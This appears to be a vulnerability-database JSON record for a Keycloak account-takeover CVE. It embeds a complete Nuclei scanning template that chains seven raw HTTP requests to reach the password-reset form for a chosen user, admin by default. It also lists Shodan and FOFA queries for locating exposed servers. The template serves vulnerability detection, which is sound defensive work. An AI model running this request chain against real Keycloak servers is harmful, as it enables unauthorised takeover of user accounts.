{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-18963/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-18963/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-18963/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-18963/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-18963/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-18963"},"sightings":{"href":"/api/v1/sightings/cve-2026-18963"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.03177,"kev":false,"percentile":0.87501},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-18963.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-18963\n\ninfo:\n  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic \"true\" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.\n  impact: |\n    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.\n  remediation: |\n    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable \"Forgot Password\" in all realms.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963\n    - https://github.com/keycloak/keycloak/pull/51844\n    - https://github.com/keycloak/keycloak/issues/51833\n    - https://github.com/T0w0T/POC-CVE-2026-18963\n    - https://access.redhat.com/security/cve/cve-2026-18963\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-18963\n    epss-score: 0.03177\n    epss-percentile: 0.87501\n    cwe-id: CWE-640\n  metadata:\n    verified: true\n    max-request: 7\n    vendor: keycloak\n    product: keycloak\n    shodan-query: http.title:\"Sign in to Keycloak\" || http.title:\"Log in to Keycloak\"\n    fofa-query: title=\"Sign in to Keycloak\" || title=\"Log in to Keycloak\"\n  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev\n\nvariables:\n  username: admin\n  realm: master\n\nflow: |\n  http(\"step-1\");\n  http(\"step-2\");\n  http(\"step-3\");\n  http(\"step-4\");\n  typeof restart_path !== \"undefined\" && restart_path !== \"\" && http(\"step-5\");\n  http(\"step-6\");\n  http(\"step-7\");\n\nhttp:\n  - id: step-1\n    raw:\n      - |\n        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: forgot_path\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'href=\"(?:https?://[^/]+)?(/[^\"]*reset-credentials[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-2\n    raw:\n      - |\n        GET {{replace(forgot_path,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: reset_form_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-reset-password-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-3\n    raw:\n      - |\n        POST {{replace(reset_form_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        tryAnotherWay=on\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: selector_form_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-select-credential-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - id: step-4\n    raw:\n      - |\n        POST {{replace(selector_form_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: restart_path\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '(/realms/[^\\s\"''<]+/login-actions/restart[^\\s\"''<]*skip_logout=true[^\\s\"''<]*)'\n\n    matchers:\n      - type: status\n        status:\n          - 200\n          - 302\n        internal: true\n\n  - id: step-5\n    raw:\n      - |\n        GET {{restart_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: status\n        status:\n          - 200\n          - 302\n        internal: true\n\n  - id: step-6\n    raw:\n      - |\n        GET {{replace(forgot_path,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: stale_selector_action\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - 'id=\"kc-select-credential-form\"[^>]*action=\"(?:https?://[^/]+)?(/[^\"]*)\"'\n\n    matchers:\n      - type: word\n        words:\n          - \"kc-select-credential-form\"\n        part: body\n        internal: true\n\n  - id: step-7\n    raw:\n      - |\n        POST {{replace(stale_selector_action,\"&amp;\",\"&\")}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        words:\n          - \"kc-passwd-update-form\"\n        part: body\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"username=\" + username + \" | realm=\" + realm'\n# digest: 4b0a004830460221009e9353735946933d0781a67a372d47d78da0486d07e8f913db5e6dc3cff92977022100dc5329192e87ddc0877f07c2af2a7d4fdcc2af2137c3741a249b119f2a32e334:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-18963"}